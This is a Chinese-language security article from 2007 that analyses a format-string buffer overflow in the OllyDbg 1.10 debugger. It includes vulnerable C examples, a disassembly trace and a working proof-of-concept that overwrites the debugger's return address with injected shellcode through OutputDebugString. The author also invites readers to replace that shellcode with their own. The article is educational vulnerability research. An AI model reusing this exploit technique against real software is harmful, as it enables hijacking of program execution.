來源:http://www.neeao.com/blog/article-4052.html
文章作者:gyzy [E.S.T](www.gyzy.org)
信息來源:邪惡八進制信息安全團隊(www.eviloctal.com)
本文已經發(fā)表在《黑客防線》2007年6月刊。作者及《黑客防線》保留版權,轉載請注明原始出處。
適合讀者:溢出愛好者
前置知識:匯編語言、緩沖區(qū)溢出基本原理
OllyDbg Format String 0day分析和利用
文/圖 gyzy[江蘇大學信息安全系&EST]
OD
作為一款Ring3下的調試器以優(yōu)異的性能博得了廣大密界愛好者的一致肯定,就在最近milw0rm上公布了一個OD 0
day的POC(OllyDbg v110 Local Format String
Exploit),以前寫了很多棧溢出的漏洞,卻很少有Format String的漏洞,這次OD給我們提供了一個熟悉Format
String問題的機會(只有原版的OD存在此問題,看雪論壇的修改版OllyIce不存在此問題)。
可能讀者朋友對格式化串漏洞不太熟悉,格式
化串其實也是很嚴重的漏洞,輕則泄露敏感信息,重則可以導致執(zhí)行任意代碼。這次OD出現(xiàn)的問題就是對格式化串過濾不嚴間接導致了緩沖區(qū)溢出的發(fā)生,保存在
棧中的返回地址被覆蓋。那么,哪些函數(shù)會引起格式化串漏洞呢?printf fprintf sprintf snprintf vfprintf
vprintf vsprintf vsnprintf這些庫函數(shù)。先來看一個簡單的例子:
?#include <stdio.h>
?#include <stdlib.h>
?int main( int argc, char *argv[] )
?{
?if( argc != 2 )
?{
?printf("輸入一個字符串\n");
?return 1;
?}
?printf( argv[1] );
?printf( "\n" );
?return 0;
?}
程序很簡單,就是打印程序的參數(shù),比如參數(shù)為"Hello,world",那么程序就會輸出"Hello,world"。假如我們輸入的是%d又會怎么樣呢,如圖1:

圖1
4198693
是十進制,16進制就是401125。正常的打印一個十進制數(shù)值應該是帶參數(shù)的,比如printf("%d",i)。i就是一個整形變量。這里我們省略了
后者,當所有參數(shù)壓棧完畢調用printf函數(shù)的時候,printf并不能檢查參數(shù)的正確性,只是機械式的從棧中取值作為參數(shù),也就是我們看到的
4198693,這個時候堆棧就被破壞了,棧中的信息就泄露了(比如密碼一類的敏感信息的安全這時候就受到了威脅)。這只是一個簡單的例子,現(xiàn)實中可能并
不存在這樣的漏洞,但卻揭示了格式化串問題的嚴重性。假如提供的參數(shù)是%n和經過精心構造的話可以導致往任意內存地址寫數(shù)據(jù),這也就意味著可以使存在漏洞
的程序執(zhí)行我們提交的任意代碼。
OD這一次出現(xiàn)問題的函數(shù)并不是printf,而是sprintf。盡管OD已經對OutputDebugString輸出的字符串進行了長度檢查,只接受255個字節(jié),但是由于沒有對提供的參數(shù)進行檢查,所以間接導致了緩沖區(qū)的溢出,我簡單模擬了出現(xiàn)問題的代碼:
?#include <stdio.h>
?void fun()
?{
?char para[10];
?sprintf(para,"%12uAAAAAAAAAAAAAAAAAAAAAAAAA");
?}
?void main()
?{
?fun();
?}
關鍵在%12u表示顯示的無符號整數(shù)擴展成12位,不足以空格補足,由于para參數(shù)只有10個字節(jié),所以保存在棧中的返回地址會被我們提供的AAAA覆蓋,如圖2:

只要我們惡意的調用OutputDebugString函數(shù)就可以使OD的EIP被我們提交的數(shù)據(jù)覆蓋,例如OutputDebugString("%4602d 0x90 0x90.....")構造成這樣的一個字符串輸出,看看OD的反應,如圖3:

圖3
%4602d表示將字符串擴展成4602個字節(jié),呵呵,夠長吧?
我們可以用OllyIce來調試原版的OD,原版OD再運行被調試程序(怎么有點像無間道),簡單的跟蹤以后,最終定位出問題的代碼如下,由于棧中0012DA90保存的返回地址被覆蓋,0042E258處的RETN指令將導致EIP被控制,如圖4

圖4
在OC中給0012DA8C下硬斷,看究竟是什么地方覆蓋了0012DA90處的值,最終定位到如下指令將0012DA90處的返回地址給覆蓋了:
004A353D |. 8B4D 10 MOV ECX,[ARG.3]
?004A3540 |. 8BD1 MOV EDX,ECX
?004A3542 |. D1E9 SHR ECX,1
?004A3544 |. D1E9 SHR ECX,1
?004A3546 |. FC CLD
?004A3547 |. F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>
其
實錯誤原因很明顯,OD只對OutputDebugString輸出的長度進行了檢查,但是卻沒有對內容進行過濾,就是里面的格式串引發(fā)了緩沖區(qū)溢出。這
個漏洞總給人感覺是雞肋,沒什么利用價值,不過用作一種反調試的手段也算可以,可以讓OD進入死循環(huán),以下是我修改過的用作反調試的POC代碼,
ShellCode就是簡單的跳轉指令:
?#include <windows.h>
?#include <stdio.h>
?#define FORMAT_STRING "%4602d"
?#pragma comment(linker,"/ENTRY:WinMain")
?char shellcode[] ="\xEB\xFE";
?int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
?{
?char* pszEvilBuffer;
?ULONG ulEvilBufSize;
?DWORD dwRetAddr = 0x7FFA4512;
?ulEvilBufSize = sizeof(FORMAT_STRING) + sizeof(dwRetAddr) + sizeof(shellcode);
?pszEvilBuffer = (char*)malloc(ulEvilBufSize);
?memset(pszEvilBuffer,0x90,ulEvilBufSize);
?int i = 0;
?memcpy(pszEvilBuffer+i, FORMAT_STRING, sizeof(FORMAT_STRING)-1);
?i += sizeof(FORMAT_STRING)-1;
?memcpy(pszEvilBuffer+i, &dwRetAddr, sizeof(dwRetAddr));
?i += sizeof(dwRetAddr);
?memcpy(pszEvilBuffer+i, shellcode, sizeof(shellcode)-1);
?//輸出調試字符串
?OutputDebugString(pszEvilBuffer);
?free(pszEvilBuffer);
?return 0;
?}
用OD調試一下看看效果,如圖5:

圖5
OD的CPU占用率100%了(我的機子是雙核,所以是50%)。有興趣的讀者朋友還可以修改Shellcode,不過長度不能超過255字節(jié)。
有任何問題來我的博客留言:www.gyzy.org